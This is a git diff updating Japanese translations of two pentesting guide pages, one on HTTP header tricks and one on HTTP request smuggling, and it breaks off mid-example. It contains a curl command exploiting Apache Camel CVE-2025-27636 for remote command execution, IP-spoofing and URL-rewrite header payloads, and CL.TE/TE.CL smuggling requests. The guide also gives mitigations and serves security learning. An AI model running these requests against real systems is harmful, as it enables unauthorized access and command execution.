Translated ['src/pentesting-web/http-request-smuggling/README.md', 'src/

This commit is contained in:
Translator 2025-09-05 11:18:33 +00:00
parent 34b5d869b9
commit b737040237
3 changed files with 296 additions and 220 deletions

View File

@ -7,9 +7,9 @@
- [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
- [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
## 変更するヘッダーの場所
## ロケーションを変更するヘッダー
**IPソース**の書き換え:
IPの送信元を書き換え:
- `X-Originating-IP: 127.0.0.1`
- `X-Forwarded-For: 127.0.0.1`
@ -26,80 +26,99 @@
- `True-Client-IP: 127.0.0.1`
- `Cluster-Client-IP: 127.0.0.1`
- `Via: 1.0 fred, 1.1 127.0.0.1`
- `Connection: close, X-Forwarded-For` (ホップバイホップヘッダーを確認)
- `Connection: close, X-Forwarded-For` (hop-by-hop ヘッダーも確認すること)
**場所**の書き換え:
ロケーションを書き換える:
- `X-Original-URL: /admin/console`
- `X-Rewrite-URL: /admin/console`
## ホップバイホップヘッダー
## Hop-by-Hop ヘッダー
ホップバイホップヘッダーは、リクエストを処理しているプロキシによって処理され、消費されることを目的としたヘッダーであり、エンドツーエンドヘッダーとは対照的です。
Hop-by-hop header は、end-to-end header とは対照的に、リクエストを現在処理している proxy によって処理・消費されることを目的としたヘッダーです。
- `Connection: close, X-Forwarded-For`
{{#ref}}
../../pentesting-web/abusing-hop-by-hop-headers.md
{{#endref}}
## HTTPリクエストスムグリング
## HTTP Request Smuggling
- `Content-Length: 30`
- `Transfer-Encoding: chunked`
{{#ref}}
../../pentesting-web/http-request-smuggling/
{{#endref}}
## Expect ヘッダー
クライアントが `Expect: 100-continue` を送信し、サーバーが `HTTP/1.1 100 Continue` で応答してクライアントにリクエストボディの送信を続行させるという動作が可能です。しかし、一部の proxy はこのヘッダーを好まない場合があります。
`Expect: 100-continue` の興味深い挙動:
- HEAD リクエストにボディを付けて送信したところ、サーバーが HEAD リクエストにはボディがないことを考慮せず、接続をタイムアウトするまで開いたままにした。
- 別のサーバーはレスポンスにソケットから読み取ったランダムなデータや秘密鍵などの奇妙なデータを返したり、フロントエンドがヘッダー値を削除するのを防いだりした。
- バックエンドが 100 ではなく 400 を返したため、`0.CL` desync が発生した。proxy のフロントエンドは当初のリクエストのボディを送る準備をしていたためボディを送信し、バックエンドはそれを新しいリクエストとして扱った。
- `Expect: y 100-continue` のバリエーションを送ることでも `0.CL` desync を引き起こした。
- バックエンドが 404 を返した類似のエラーは `CL.0` desync を発生させた。悪意あるリクエストが `Content-Length` を示すため、バックエンドは悪意あるリクエスト本体に加え次のリクエスト(被害者)の `Content-Length` バイトを読み込む。これによりキューがずれて、バックエンドは悪意あるリクエストに対して 404 を返しつつ被害者のレスポンスも返すが、フロントエンドは一つのリクエストしか送信されていないと思い、二番目のレスポンスを別の被害者リクエストへ送ってしまい、以降もずれていく。
HTTP Request Smuggling の詳細は以下を参照してください:
{{#ref}}
../../pentesting-web/http-request-smuggling/
{{#endref}}
## キャッシュヘッダー
**サーバーキャッシュヘッダー**:
サーバー側のキャッシュヘッダー:
- **`X-Cache`** は、リクエストがキャッシュされていない場合は **`miss`** の値を持ち、キャッシュされている場合は **`hit`** の値を持つことがあります。
- ヘッダー **`Cf-Cache-Status`** でも同様の動作があります。
- **`Cache-Control`** は、リソースがキャッシュされているかどうか、次回リソースが再キャッシュされる時期を示します: `Cache-Control: public, max-age=1800`
- **`Vary`** は、通常はキーが設定されていない追加のヘッダーをキャッシュキーの一部として扱うことを示すために、レスポンスでよく使用されます。
- **`Age`** は、オブジェクトがプロキシキャッシュに存在している時間を秒単位で定義します。
- **`Server-Timing: cdn-cache; desc=HIT`** もリソースがキャッシュされていることを示します。
- **`X-Cache`**: レスポンス内でリクエストがキャッシュされていない場合は **`miss`**、キャッシュされている場合は **`hit`** の値を持つことがあ
- 同様の挙動は **`Cf-Cache-Status`** ヘッダーにも見られる
- **`Cache-Control`** はリソースがキャッシュされるかどうか、および次にいつキャッシュが有効かを示す: `Cache-Control: public, max-age=1800`
- **`Vary`** はレスポンスで、通常はキャッシュキーに含まれないヘッダーでもキャッシュキーの一部として扱われる追加のヘッダーを示すためによく使われる
- **`Age`** はオブジェクトが proxy キャッシュに存在していた時間を秒単位で示す。
- **`Server-Timing: cdn-cache; desc=HIT`** もリソースがキャッシュされていたことを示す。
{{#ref}}
../../pentesting-web/cache-deception/
{{#endref}}
**ローカルキャッシュヘッダー**:
ローカルキャッシュヘッダー:
- `Clear-Site-Data`: 削除すべきキャッシュを示すヘッダー: `Clear-Site-Data: "cache", "cookies"`
- `Expires`: レスポンスが期限切れになる日時を含む: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
- `Pragma: no-cache``Cache-Control: no-cache` と同じです。
- `Warning`: **`Warning`** 一般HTTPヘッダーは、メッセージの状態に関する可能な問題についての情報を含みます。レスポンスに複数の `Warning` ヘッダーが表示されることがあります。 `Warning: 110 anderson/1.3.37 "Response is stale"`
- `Pragma: no-cache``Cache-Control: no-cache` と同じ
- `Warning`: 一般的な HTTP ヘッダーで、メッセージの状態に関する可能性のある問題についての情報を含む。レスポンスに複数の `Warning` ヘッダーが含まれることがある。`Warning: 110 anderson/1.3.37 "Response is stale"`
## 条件付きリクエスト
- これらのヘッダーを使用するリクエスト: **`If-Modified-Since`** と **`If-Unmodified-Since`** は、レスポンスヘッダー **`Last-Modified`** に異なる時間が含まれている場合にのみデータで応答されます
- **`If-Match`** と **`If-None-Match`** を使用する条件付きリクエストは、Etag値を使用し、データEtagが変更された場合にウェブサーバーがレスポンスの内容を送信します。 `Etag` はHTTPレスポンスから取得されます
- **Etag** 値は通常、レスポンスの **内容** に基づいて **計算されます**。例えば、`ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` は、`Etag`**37バイト****Sha1** であることを示しています。
- `If-Modified-Since``If-Unmodified-Since` を用いたリクエストは、レスポンスヘッダー `Last-Modified` が異なる日時を含む場合にのみデータが返される
- `If-Match``If-None-Match` を用いた条件付きリクエストは Etag 値を使用し、データEtagが変更されていればサーバーはレスポンスの内容を送る。`Etag` は HTTP レスポンスから取得される
- Etag 値は通常レスポンスのコンテンツに基づいて計算される。例えば、`ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` は Etag が 37 バイトの Sha1 であることを示す。
## レンジリクエスト
## Range リクエスト
- **`Accept-Ranges`**: サーバーがレンジリクエストをサポートしているかどうか、またその場合はどの単位でレンジを表現できるかを示します。 `Accept-Ranges: <range-unit>`
- **`Range`**: サーバーが返すべきドキュメントの部分を示します。例えば、`Range:80-100` は、元のレスポンスのバイト80から100を返し、ステータスコード206 Partial Contentを持ちます。また、リクエストから `Accept-Encoding` ヘッダーを削除することを忘れないでください。
- これは、そうでなければエスケープされる可能性のある任意の反射されたJavaScriptコードを含むレスポンスを取得するのに役立ちます。しかし、これを悪用するには、リクエストにこのヘッダーを挿入する必要があります
- **`If-Range`**: 指定されたetagまたは日付がリモートリソースと一致する場合にのみ満たされる条件付きレンジリクエストを作成します。リソースの互換性のないバージョンから2つのレンジをダウンロードするのを防ぐために使用されます
- **`Content-Range`**: 完全なボディメッセージのどこに部分メッセージが属するかを示します。
- **`Accept-Ranges`**: サーバーが範囲リクエストをサポートしているか、およびどの単位で範囲が表現されるかを示す: `Accept-Ranges: <range-unit>`
- **`Range`**: サーバーが返すべきドキュメントの一部を示す。例えば、`Range: 80-100` は元のレスポンスのバイト80から100を 206 Partial Content で返す。リクエストから `Accept-Encoding` ヘッダーを削除することも忘れないでください。
- これは、通常はエスケープされる任意の反射型 JavaScript コードを含むレスポンスを得るのに有用な場合がある。しかしこれを悪用するにはリクエストにこれらのヘッダーを注入する必要がある
- **`If-Range`**: 指定した etag または日付がリモートリソースと一致する場合にのみ実行される条件付き範囲リクエストを作成する。互換性のないバージョンのリソースから二つの範囲をダウンロードしてしまうのを防ぐために使われる
- **`Content-Range`**: 部分メッセージが完全な本文メッセージのどこに属するかを示す。
## メッセージボディ情報
## メッセージ本文情報
- **`Content-Length`:** リソースのサイズ、バイト数の10進数
- **`Content-Type`**: リソースのメディアタイプを示します。
- **`Content-Encoding`**: 圧縮アルゴリズムを指定するために使用されます
- **`Content-Language`**: 対象となる人間の言語を説明し、ユーザーが自分の好みの言語に応じて区別できるようにします。
- **`Content-Location`**: 返されたデータの代替位置を示します。
- **`Content-Length`**: リソースのサイズ(十進数のバイト数)
- **`Content-Type`**: リソースのメディアタイプを示す。
- **`Content-Encoding`**: 圧縮アルゴリズムを指定するために使われる
- **`Content-Language`**: 対象となる利用者向けの自然言語を記述し、ユーザーが好みの言語に応じて区別できるようにす
- **`Content-Location`**: 返却されるデータの代替場所を示す。
ペンテストの観点から、この情報は通常「無駄」です。しかし、リソースが **401** または **403****保護されている** 場合、何らかの **方法** でこの **情報****取得** できると、これは **興味深い** かもしれません。\
例えば、HEADリクエストでの **`Range`** と **`Etag`** の組み合わせは、HEADリクエストを介してページの内容を漏洩させることができます。
pentest の観点ではこの情報は通常役に立たないことが多いですが、リソースが 401 や 403 で保護されていて、何らかの方法でこの情報を取得できる場合は興味深いことがあります。例えば HEAD リクエストで **`Range`** と **`Etag`** を組み合わせることで、HEAD リクエスト経由でページの内容が leak することがあります:
- ヘッダー `Range: bytes=20-20`持つリクエストと、`ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` を含むレスポンスは、バイト20のSHA1が `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` であることを漏洩しています
- ヘッダー `Range: bytes=20-20`付けたリクエストと、レスポンスに `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` が含まれる場合、バイト20の SHA1 が `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` であることが leak している
## サーバー情報
@ -108,28 +127,29 @@
## コントロール
- **`Allow`**: このヘッダーは、リソースが処理できるHTTPメソッドを伝えるために使用されます。例えば、`Allow: GET, POST, HEAD` と指定されることがあり、リソースがこれらのメソッドをサポートしていることを示します。
- **`Expect`**: クライアントがリクエストを正常に処理するためにサーバーが満たす必要がある期待を伝えるために使用されます。一般的な使用例は、クライアントが大きなデータペイロードを送信する意図を示す `Expect: 100-continue` ヘッダーです。クライアントは、送信を進める前に `100 (Continue)` レスポンスを探します。このメカニズムは、サーバーの確認を待つことでネットワークの使用を最適化するのに役立ちます
- **`Allow`**: このヘッダーはリソースが扱える HTTP メソッドを伝えるために使われる。例えば `Allow: GET, POST, HEAD` はそのリソースがこれらのメソッドをサポートしていることを示す。
- **`Expect`**: クライアントがリクエストを正常に処理するためにサーバーが満たすべき期待を伝えるために用いられる。一般的なユースケースは `Expect: 100-continue` ヘッダーで、クライアントが大きなデータペイロードを送信する意図があることを示す。クライアントは送信を続行する前に `100 (Continue)` レスポンスを待ち、これによりサーバーの確認を待つことでネットワーク利用を最適化できる
## ダウンロード
- HTTPレスポンスの **`Content-Disposition`** ヘッダーは、ファイルを **インライン**(ウェブページ内)で表示するか、**添付ファイル**(ダウンロード)として扱うかを指示します。例えば:
HTTP レスポンス**`Content-Disposition`** ヘッダーは、ファイルをウェブページ内に表示するinlineか、添付ファイルとして扱ってダウンロードさせるattachmentかを指示します。例えば:
```
Content-Disposition: attachment; filename="filename.jpg"
```
これは「filename.jpg」という名前のファイルがダウンロードされ保存されることを意図していることを意味します。
これは "filename.jpg" という名前のファイルがダウンロードされ保存されることを意図していることを意味します。
## セキュリティヘッダー
### コンテンツセキュリティポリシー (CSP) <a href="#csp" id="csp"></a>
{{#ref}}
../../pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
### **信頼されたタイプ**
### **Trusted Types**
CSPを通じて信頼されたタイプを強制することで、アプリケーションはDOM XSS攻撃から保護されます。信頼されたタイプは、確立されたセキュリティポリシーに準拠した特定のオブジェクトのみが危険なWeb API呼び出しに使用できることを保証し、デフォルトでJavaScriptコードを保護します。
CSPを通じてTrusted Typesを強制することで、アプリケーションはDOM XSS攻撃から保護されます。Trusted Typesは、確立されたセキュリティポリシーに準拠した特別に作成されたオブジェクトのみが危険な web API 呼び出しで使用できるようにすることで、JavaScriptコードをデフォルトで保護します。
```javascript
// Feature detection
if (window.trustedTypes && trustedTypes.createPolicy) {
@ -148,19 +168,19 @@ el.innerHTML = escaped // Results in safe assignment.
```
### **X-Content-Type-Options**
このヘッダーはMIMEタイプのスニッフィングを防ぎます。これはXSS脆弱性につながる可能性があります。サーバーによって指定されたMIMEタイプをブラウザが尊重することを保証します。
このヘッダーはMIMEタイプのスニッフィングを防ぎ、XSS脆弱性を引き起こす可能性のある挙動を抑えます。ブラウザがサーバーで指定されたMIMEタイプを尊重するようにします。
```
X-Content-Type-Options: nosniff
```
### **X-Frame-Options**
クリックジャッキングに対抗するために、このヘッダーはドキュメントが`<frame>``<iframe>``<embed>`、または`<object>`タグにどのように埋め込まれるかを制限し、すべてのドキュメントがその埋め込み許可を明示的に指定することを推奨します。
clickjacking に対抗するため、このヘッダーはドキュメントが `<frame>``<iframe>``<embed>`、または `<object>` タグにどのように埋め込まれるかを制限し、すべてのドキュメント埋め込み許可を明示的に指定することを推奨します。
```
X-Frame-Options: DENY
```
### **Cross-Origin Resource Policy (CORP) と Cross-Origin Resource Sharing (CORS)**
### **クロスオリジンリソースポリシー (CORP) と クロスオリジンリソース共有 (CORS)**
CORPは、どのリソースがウェブサイトによって読み込まれるかを指定するために重要であり、クロスサイトの漏洩を軽減します。一方、CORSは、特定の条件下で同一オリジンポリシーを緩和し、より柔軟なクロスオリジンリソース共有メカニズムを可能にします。
CORP は、どのリソースがウェブサイトによって読み込まれるかを指定する上で重要であり、cross-site leaks を軽減します。CORS は、一方でより柔軟なクロスオリジンリソース共有の仕組みを提供し、特定の条件下で same-origin policy を緩和します。
```
Cross-Origin-Resource-Policy: same-origin
Access-Control-Allow-Origin: https://example.com
@ -168,52 +188,54 @@ Access-Control-Allow-Credentials: true
```
### **Cross-Origin Embedder Policy (COEP) と Cross-Origin Opener Policy (COOP)**
COEP と COOP は、クロスオリジンの隔離を有効にするために不可欠であり、Spectre のような攻撃のリスクを大幅に低減します。これらは、それぞれクロスオリジンリソースの読み込みとクロスオリジンウィンドウとの相互作用を制御します。
COEP と COOP はクロスオリジン隔離を有効にするために不可欠で、Spectre のような攻撃のリスクを大幅に低減します。
それぞれ、クロスオリジンリソースの読み込みとクロスオリジンウィンドウとの相互作用を制御します。
```
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin-allow-popups
```
### **HTTP Strict Transport Security (HSTS)**
最後に、HSTSはブラウザがサーバーと安全なHTTPS接続のみで通信することを強制するセキュリティ機能であり、プライバシーとセキュリティを向上させます。
最後に、HSTSはブラウザがサーバーと安全なHTTPS接続でのみ通信するよう強制するセキュリティ機能であり、これによりプライバシーとセキュリティが向上します。
```
Strict-Transport-Security: max-age=3153600
```
## ヘッダー名のケースバイパス
## ヘッダ名の大文字小文字によるバイパス
HTTP/1.1はヘッダーフィールド名を**ケースインセンシティブ**として定義していますRFC 9110 §5.1)。それにもかかわらず、受信した*リテラル*ヘッダー名を最初に正規化せずに比較するカスタムミドルウェア、セキュリティフィルター、またはビジネスロジックを見つけることは非常に一般的です(例:`header.equals("CamelExecCommandExecutable")`)。 これらのチェックが**ケースセンシティブ**で行われる場合、攻撃者は異なる大文字小文字で同じヘッダーを送信することでそれを回避することができます。
HTTP/1.1 はヘッダフィールド名を **大文字小文字を区別しない** と定義しています (RFC 9110 §5.1)。それにもかかわらず、カスタムミドルウェア、セキュリティフィルタ、ビジネスロジックの中には、受信したヘッダ名を大文字小文字正規化せずに*そのまま*比較する実装(例: `header.equals("CamelExecCommandExecutable")`)がよく見られます。これらのチェックが **大文字小文字を区別して** 行われている場合、攻撃者は単に異なる大文字小文字で同じヘッダを送ることでバイパスできる可能性があります。
この誤りが発生する典型的な状況:
典型的な発生場面:
* リクエストがセンシティブなコンポーネントに到達する前に「危険な」内部ヘッダをブロックしようとするカスタムの許可/拒否リスト。
* リバースプロキシの擬似ヘッダー(例:`X-Forwarded-For`のサニタイズ)の社内実装
* 管理/デバッグエンドポイントを公開し、認証やコマンド選択のためにヘッダー名に依存するフレームワーク。
* 機密コンポーネントに到達する前に「危険な」内部ヘッダをブロックしようとするカスタムの許可/拒否リスト。
* リバースプロキシの疑似ヘッダを自社実装しているケース(例: `X-Forwarded-For` のサニタイズ)
* 管理/デバッグエンドポイントを公開し、認証やコマンド選択にヘッダ名を利用しているフレームワーク。
### バイパスの悪用
1. サーバー側でフィルタリングまたは検証されるヘッダーを特定します(例えば、ソースコード、ドキュメント、またはエラーメッセージを読むことによって)。
2. **異なるケース**(ミックスケースまたは大文字)で**同じヘッダー**を送信します。HTTPスタックは通常、ユーザーコードが実行された後にのみヘッダーを正規化するため、脆弱なチェックをスキップできます
3. 下流のコンポーネントがヘッダーをケースインセンシティブに扱う場合(ほとんどがそうです)、攻撃者が制御する値を受け入れます
1. サーバ側でフィルタリングまたは検証されているヘッダを特定する(例: ソースコード、ドキュメント、エラーメッセージを読む)。
2. 同じヘッダを**異なる大文字小文字で送る**混合ケースや全大文字など。HTTPスタックは通常ユーザコード実行後にヘッダを正規化するため、脆弱なチェックを回避できることがある
3. 下流のコンポーネントがヘッダを大文字小文字を区別しない方法で扱う(ほとんどはそうする)場合、攻撃者が制御した値を受け入れてしまう
### 例Apache Camel `exec` RCE (CVE-2025-27636)
### 例: Apache Camel `exec` RCE (CVE-2025-27636)
脆弱なバージョンのApache Camelでは、*Command Center*ルートが`CamelExecCommandExecutable`および`CamelExecCommandArgs`ヘッダーを削除することで信頼できないリクエストをブロックしようとします。比較は`equals()`で行われたため、正確な小文字の名前のみが削除されました。
脆弱なバージョンの Apache Camel では、*Command Center* ルートが信頼できないリクエストをブロックしようとして `CamelExecCommandExecutable``CamelExecCommandArgs` のヘッダを削除していました。比較は `equals()` で行われていたため、正確に小文字で表記された名前のみが削除されていました。
```bash
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
curl "http://<IP>/command-center" \
-H "CAmelExecCommandExecutable: ls" \
-H "CAmelExecCommandArgs: /"
```
ヘッダーはフィルタリングされずに `exec` コンポーネントに到達し、Camel プロセスの権限でリモートコマンド実行が発生します。
ヘッダー`exec`コンポーネントに無加工で到達し、その結果、Camelプロセスの権限でremote command executionが発生します。
### 検出と緩和
* すべてのヘッダー名を単一のケース(通常は小文字)に正規化します **before** アロウ/ディナイ比較を行う前に
* 疑わしい重複を拒否します:`Header:``HeAdEr:` の両方が存在する場合、それを異常として扱います
* 正規化の **after** に強制されるポジティブアロウリストを使用します
* 認証とネットワークセグメンテーションで管理エンドポイントを保護します
* すべてのヘッダー名を単一のケース(通常は小文字)に正規化し、allow/denyの比較を行う**前に**これを実施する
* 疑わしい重複を拒否す`Header:``HeAdEr:` の両方が存在する場合は異常として扱う
* positive allow-list を canonicalisation の**後**で適用する
* 管理用エンドポイントを認証とネットワーク分割で保護する
## 参考文献
## References
- [CVE-2025-27636 RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)

View File

@ -3,10 +3,10 @@
{{#include ../../banners/hacktricks-training.md}}
## 概要
## この脆弱性とは
この脆弱性は、**front-end proxies** と **back-end** サーバ間の **desyncronization** により、**attacker** が HTTP の **request** **send** し、それが **front-end** proxiesload balance/reverse-proxyには **single request** として **interpreted** され、**back-end** サーバには **as 2 request** として **interpreted** される場合に発生します。\
これにより、攻撃者は **modify the next request that arrives to the back-end server after his** ことが可能になります。
この脆弱性は、**desyncronization** が **front-end proxies****back-end** server の間で発生し、**attacker** が HTTP の **request****front-end** proxiesload balance/reverse-proxyには **single request** として、**back-end** server には **2 request** として **interpreted** されるような状況で発生します。\
これにより、ユーザは **自分のリクエストの次に back-end server に到着するリクエストを改変する** ことが可能になります。
### 理論
@ -25,25 +25,42 @@
### 実際
**Front-End**load-balance / Reverse Proxy_**Content-Length**_ または _**Transfer-Encoding**_ ヘッダを処理し、**Back-end** サーバが別のヘッダを処理することで、両者間に **desyncronization** が発生します。\
これにより、攻撃者は reverse proxy に対して **one request** を送信し、それが **back-end** サーバで **2 different requests** として **interpreted** される可能性があります。この手法の危険性は、**back-end** サーバが **2nd request injected** をあたかも **next client** から来たものとして扱い、そのクライアントの本来のリクエストが **injected request** の一部となってしまう点にあります。
**Front-End**load-balance / Reverse Proxy_**Content-Length**_ または _**Transfer-Encoding**_ ヘッダを処理し、**Back-end** server がもう一方を処理することで、両者の間に **desyncronization** が発生します。\
これは非常に深刻になり得ます。なぜなら **attacker** は reverse proxy に対して 1 つの request を送り、それが **back-end** server によって **2 つの異なる request** として **interpreted** されるからです。 この手法の危険性は、**back-end** server が **注入された 2 番目の request** を次のクライアントから来たものとして扱い、そのクライアントの本来のリクエストが **注入された request** の一部になる点にあります。
### 特記事項
HTTP では **改行文字は 2 バイトからなる** ことを覚えておいてください:
HTTP では **改行文字は 2 バイトで構成される** ことを覚えておいてください:
- **Content-Length**: このヘッダは **10 進数** を使ってリクエストの **body****バイト数** を示します。ボディは最後の文字で終わることが期待され、**リクエストの末尾に改行は必須ではありません**。
- **Transfer-Encoding:** このヘッダは **body** 内で **16 進数** を使って次のチャンクの **バイト数** を示します。チャンクは **改行で終わる必要** があり、この改行は長さの指標に **含まれません**。この転送方式は **サイズ 0 のチャンクが続き、2 つの改行で終了** する必要があります: `0`
- **Connection**: 経験上、request smuggling の最初のリクエストでは **`Connection: keep-alive`** を使うことが推奨されます。
### Visible - Hidden
HTTP/1.1 の主な問題は、すべてのリクエストが同一の TCP ソケット内を流れるため、2 つのシステム間で受信したリクエストの扱いに不一致があると、1 つのリクエストが最終的な backendあるいは中間システムによって 2 件以上の別個のリクエストとして処理され得る点にあります。
**[This blog post](https://portswigger.net/research/http1-must-die)** は、WAF に検知されない方法で desync 攻撃を検出する新しい手法を提案しています。そのために Visible vs Hidden の振る舞いを提示しています。この場合の目的は、実際に exploit せずに desync を引き起こしている可能性のある技術を使って、レスポンスに不一致があるかどうかを探すことです。
例えば、通常の Host ヘッダと " host" ヘッダの両方を送信し、バックエンドがこのリクエストに対して不満を示す(たとえば " host" の値が不正であるため場合、front-end が " host" ヘッダを認識しなかったが最終的な backend はそれを使用した可能性があり、front-end と backend の間に desync があることを示唆します。
これは **Hidden-Visible discrepancy** になります。
逆に、front-end が " host" ヘッダを取り扱っていたが backend は扱っていなかった場合は **Visible-Hidden** の状況と言えます。
この考え方は、AWS ALB を front-end、IIS を backend にしたケースでの desync を発見するのに役立ちました。これは "Host: foo/bar" を送信したときに ALB が `400, Server; awselb/2.0` を返したが、"Host : foo/bar" を送ったときに `400, Server: Microsoft-HTTPAPI/2.0` を返し、backend がレスポンスを返していることを示したためです。これは Hidden-VisibleH-Vの状況です。
この問題は AWS 側で完全に修正されているわけではありませんが、`routing.http.drop_invalid_header_fields.enabled` を設定し、`routing.http.desync_mitigation_mode = strictest` を使うことで緩和できます。
- **Content-Length**: このヘッダはリクエストのボディのバイト数を示す **10 進数** を使います。ボディは最後の文字で終わることが期待され、**リクエストの末尾に改行は必須ではありません**。
- **Transfer-Encoding:** このヘッダはボディ内で次のチャンクのバイト数を示す **16 進数** を使います。チャンクは **改行で終わる必要があり**、ただしその改行は長さ指標には **含まれません**。この転送方式は `0` サイズのチャンクと **2 つの改行** で終了する必要があります。
- **Connection**: 私の経験では、request Smuggling の最初のリクエストでは **`Connection: keep-alive`** を使うことを推奨します。
## Basic Examples
> [!TIP]
> When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
HTTP request smuggling 攻撃は、front-end と back-end が `Content-Length` (CL) と `Transfer-Encoding` (TE) ヘッダを解釈する際の不一致を突く曖昧なリクエストを送ることで作られます。これらの攻撃は主に **CL.TE**, **TE.CL**, **TE.TE** として現れます。各タイプは front-end と back-end がこれらのヘッダをどのように優先するかの組み合わせを表します。サーバが同じリクエストを異なる方法で処理することで脆弱性が生じ、予期せぬ悪意のある結果を招くことがあります。
HTTP request smuggling 攻撃は、front-end と back-end サーバ`Content-Length` (CL) と `Transfer-Encoding` (TE) ヘッダを解釈する際の差異を悪用する曖昧なリクエストを送信することで作成されます。これらの攻撃は主に **CL.TE**, **TE.CL**, **TE.TE** として現れます。各タイプは front-end と back-end がこれらのヘッダをどのように優先するかの組み合わせを表します。脆弱性は、同じリクエストをサーバが異なる方法で処理することにより生じ、予期しない悪意ある結果につながります。
### 脆弱性タイプの基本例
### Basic Examples of Vulnerability Types
![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
@ -52,13 +69,13 @@ HTTP request smuggling 攻撃は、front-end と back-end が `Content-Length` (
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
- **Front-End (CL):** リクエストを `Content-Length` ヘッダに基づいて処理します。
- **Front-End (CL):** `Content-Length` ヘッダに基づいてリクエストを処理します。
- **Back-End (TE):** `Transfer-Encoding` ヘッダに基づいてリクエストを処理します。
- **Attack Scenario:**
- 攻撃者は `Content-Length` ヘッダの値が実際のコンテンツ長と一致しないリクエストを送信します。
- front-end サーバは `Content-Length` の値に基づいてリクエスト全体を back-end に転送します。
- back-end サーバは `Transfer-Encoding: chunked` ヘッダのためチャンク処理として解釈し、残りのデータを別の続くリクエストとして扱います。
- back-end サーバは `Transfer-Encoding: chunked` ヘッダによりリクエストをチャンク方式として処理し、残りのデータを別の続きのリクエストとして解釈します。
- **Example:**
```
@ -80,9 +97,9 @@ Foo: x
- **Back-End (CL):** `Content-Length` ヘッダに基づいてリクエストを処理します。
- **Attack Scenario:**
- 攻撃者はチャンクサイズ(`7b`)と実際のコンテンツ長(`Content-Length: 4`)が一致しないチャンク化リクエストを送信します。
- 攻撃者はチャンク化されたリクエストを送り、チャンクサイズ(`7b`)と実際の `Content-Length: 4` が一致しないようにします。
- front-end サーバは `Transfer-Encoding` を尊重してリクエスト全体を back-end に転送します。
- back-end サーバは `Content-Length` を尊重してリクエストの最初の部分(`7b` バイト)だけを処理し、残りを意図しない続きのリクエストとして残します。
- back-end サーバは `Content-Length` を尊重して最初の部分(指定されたバイト数)だけを処理し、残りを意図しない続きのリクエストの一部として残します。
- **Example:**
```
@ -105,12 +122,12 @@ x=
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
- **Servers:** 両方とも `Transfer-Encoding` をサポートしますが、片方は難読化によって無視される可能性があります
- **Servers:** 両方`Transfer-Encoding` をサポートしているが、1 つはオブフスケーションによってそれを認識できなくなることがある
- **Attack Scenario:**
- 攻撃者は難読化され`Transfer-Encoding` ヘッダを含むリクエストを送信します。
- どちらのサーバfront-end または back-endこの難読化を認識できないかによって、CL.TE または TE.CL の脆弱性が悪用され得ます。
- いずれかのサーバが未処理として見るリクエストの残りの部分が次のリクエストの一部となり、smuggling を引き起こします。
- 攻撃者は obfuscation を施し`Transfer-Encoding` ヘッダを含むリクエストを送信します。
- どちらのサーバfront-end または back-endそのオブフスケーションを認識できないかによって、CL.TE または TE.CL の脆弱性を突ける場合があります。
- 片方のサーバにとって未処理のまま残ったリクエストの一部が、続くリクエストの一部として扱われ、smuggling が発生します。
- **Example:**
```
@ -132,8 +149,8 @@ Transfer-Encoding
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
- 両方のサーバが `Content-Length` ヘッダのみに基づいてリクエストを処理します。
- このシナリオは通常 smuggling を引き起こしません。両者の解釈が一致しているためです。
- 両方のサーバが `Content-Length` ヘッダのみを基にリクエストを処理します。
- このシナリオは通常 smuggling を引き起こしません。というのも、両サーバの解釈が一致しているためです。
- **Example:**
```
@ -147,8 +164,8 @@ Normal Request
#### **CL.0 Scenario**
- `Content-Length` ヘッダが存在し、ゼロ以外の値を持つ場合を指します。back-end が `Content-Length` ヘッダを無視して0 として扱い、front-end がそれを解析するケースです。
- これはサーバがリクエストの終了をどのように判断するかに影響を与えるため、smuggling 攻撃の理解と作成に重要です。
- `Content-Length` ヘッダが存在し、0 以外の値を持つシナリオを指します。back-end が `Content-Length` ヘッダを無視して0 と見なして処理する一方で、front-end はそれを解析するような状況です。
- これはリクエストの終端をサーバがどのように判断するかに影響するため、smuggling 攻撃を理解・作成する上で重要です。
- **Example:**
```
@ -162,7 +179,7 @@ Non-Empty Body
#### TE.0 Scenario
- 前述のものと同様ですが、TE を使用するケースです。
- 上の CL.0 と同様ですが、TE を使用した場合です。
- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Example**:
```
@ -182,15 +199,39 @@ x: X
EMPTY_LINE_HERE
EMPTY_LINE_HERE
```
#### ウェブサーバーのクラッシュ
#### `0.CL` シナリオ
この手法は、**初期のHTTPデータを読み込んでいる間にウェブサーバーをクラッシュさせる**が、**接続を閉じずに**済むようなシナリオでも有用です。こうすると、HTTPリクエストの**body**は**次のHTTPリクエスト**として扱われます。
`0.CL` の状況では、Content-Length のような値を持つリクエストが送信されます:
```
GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7
